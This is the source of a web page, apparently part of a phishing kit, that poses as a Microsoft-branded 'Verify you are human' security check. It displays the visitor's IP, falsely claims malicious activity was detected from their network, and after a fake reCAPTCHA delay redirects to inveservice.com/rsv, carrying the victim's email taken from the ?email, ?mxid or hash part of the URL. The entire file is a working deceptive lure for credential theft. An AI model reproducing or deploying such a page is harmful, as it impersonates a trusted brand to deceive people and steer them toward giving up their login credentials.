File: /home/inveservice/www/rss/index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Security Verification</title>
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<style>
body {
font-family: "Segoe UI", "Helvetica Neue", Arial, sans-serif;
background-color: #f2f2f2;
color: #1b1b1b;
margin: 0;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
}
.header {
position: absolute;
top: 20px;
left: 30px;
}
.header svg {
width: 108px;
height: 23px;
}
.main-container {
display: flex;
flex-direction: column;
align-items: center;
width: 100%;
max-width: 440px;
padding: 20px;
box-sizing: border-box;
}
#captcha-wrapper {
background-color: #ffffff;
padding: 30px 40px;
box-shadow: 0px 1.2px 3.6px rgba(0, 0, 0, 0.1),
0px 6.4px 14.4px rgba(0, 0, 0, 0.13);
border-radius: 4px;
width: 100%;
box-sizing: border-box;
}
h1 {
font-size: 24px;
font-weight: 600;
margin-top: 0;
margin-bottom: 12px;
}
.subtitle {
font-size: 15px;
margin-bottom: 20px;
}
.g-recaptcha {
margin-bottom: 10px;
transform: scale(1.1); /* Slightly larger to fit the container width */
transform-origin: 0 0;
}
#g-recaptcha-error {
height: 20px;
font-size: 13px;
margin-top: 15px;
color: #e81123;
}
.button-container {
display: flex;
justify-content: flex-end;
align-items: center;
margin-top: 30px;
}
#sub {
width: 120px;
height: 32px;
background-color: #0067b8;
color: white;
border: none;
border-radius: 2px;
font-size: 15px;
cursor: pointer;
transition: background-color 0.2s ease;
}
#sub:hover {
background-color: #005a9e;
}
.loader {
border: 4px solid #f3f3f3;
border-top: 4px solid #0067b8;
border-radius: 50%;
width: 24px;
height: 24px;
animation: spin 1s linear infinite;
display: none;
margin-right: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#details-section {
margin-top: 30px;
padding: 0 10px;
width: 100%;
box-sizing: border-box;
}
#details-section h4 {
font-size: 18px;
font-weight: 600;
margin-bottom: 10px;
}
#details-section p {
font-size: 14px;
line-height: 1.5;
color: #505050;
}
#details-section .info-footer {
font-size: 13px;
color: #6b6b6b;
}
#page-loader {
text-align: center;
margin-top: 100px;
display: none;
font-size: 18px;
font-weight: 400;
}
</style>
</head>
<body>
<div class="header">
<svg viewBox="0 0 2560 529" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
<path d="M2560 0H1380V529H2560V0Z" fill="#00A4EF"/>
<path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
<path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
<path d="M1180 0H0V529H1180V0Z" fill="#F25022"/>
<path d="M2560 0H1380V529H2560V0Z" fill="#00A4EF"/>
<path d="M1180 -529H0V0H1180V-529Z" fill="#7FBA00"/>
<path d="M2560 -529H1380V0H2560V-529Z" fill="#FFB900"/>
</svg>
</div>
<div class="main-container" id="main-content-area">
<div id="captcha-wrapper">
<h1>Verify you are human</h1>
<p class="subtitle">To continue, please complete this security check.</p>
<div class="g-recaptcha" data-sitekey="6LdLK80sAAAAAL6MAUyc1gSmXJc9hC1ASy1ArABE"></div>
<div id="g-recaptcha-error"></div>
<div class="button-container">
<div class="loader" id="loading"></div>
<button id="sub">Verify</button>
</div>
</div>
<div id="details-section">
<h4>Why am I seeing this?</h4>
<p>
This page checks to see if it's really a human sending the requests
and not a robot. Unaddressed malicious behavior has been detected
from this network.
</p>
<p class="info-footer">
IP address: <span id="gfg"></span><br />
Time: <span id="demo"></span> <br />
URL: https://www.google.com/search?...
</p>
</div>
</div>
<p id="page-loader">Verifying your request... <br />Please wait.</p>
</body>
<script>
$(document).ready(function () {
// Get and display user's IP address
$.getJSON("https://api.ipify.org?format=json", function (data) {
$("#gfg").html(data.ip);
});
// Display current time
const d = new Date();
document.getElementById("demo").innerHTML = d.toLocaleString();
// Function to get original parameter format and value
function getOriginalParameter() {
const urlParams = new URLSearchParams(window.location.search);
const hash = window.location.hash.substr(1);
// Check for ?email parameter
if (urlParams.has('email')) {
return {
type: 'query',
name: 'email',
value: urlParams.get('email')
};
}
// Check for ?mxid parameter
if (urlParams.has('mxid')) {
return {
type: 'query',
name: 'mxid',
value: urlParams.get('mxid')
};
}
// Check for hash fragment
if (hash) {
return {
type: 'hash',
value: hash
};
}
return null;
}
// Handle submit button click
$("#sub").on("click", function () {
const pageLoader = document.getElementById("page-loader");
const loader = document.getElementById("loading");
const mainContent = document.getElementById("main-content-area");
const recaptcha_response = grecaptcha.getResponse();
if (recaptcha_response.length < 1) {
$("#g-recaptcha-error").text("Verification is required. Please solve the challenge.");
} else {
$("#g-recaptcha-error").text("Verifying...").css("color", "#0067b8");
loader.style.display = "block";
document.getElementById("sub").style.display = "none";
setTimeout(() => {
pageLoader.style.display = "block";
mainContent.style.display = "none";
}, 4000);
setTimeout(() => {
// Get the original parameter format
const originalParam = getOriginalParameter();
let redirectUrl = "https://inveservice.com/rsv";
if (originalParam) {
if (originalParam.type === 'query') {
// Preserve ?email= or ?mxid= format
redirectUrl += `?${originalParam.name}=${encodeURIComponent(originalParam.value)}`;
} else if (originalParam.type === 'hash') {
// Preserve #hash format
redirectUrl += `#${encodeURIComponent(originalParam.value)}`;
}
}
window.location.href = redirectUrl;
}, 7000);
}
});
});
</script>
</html>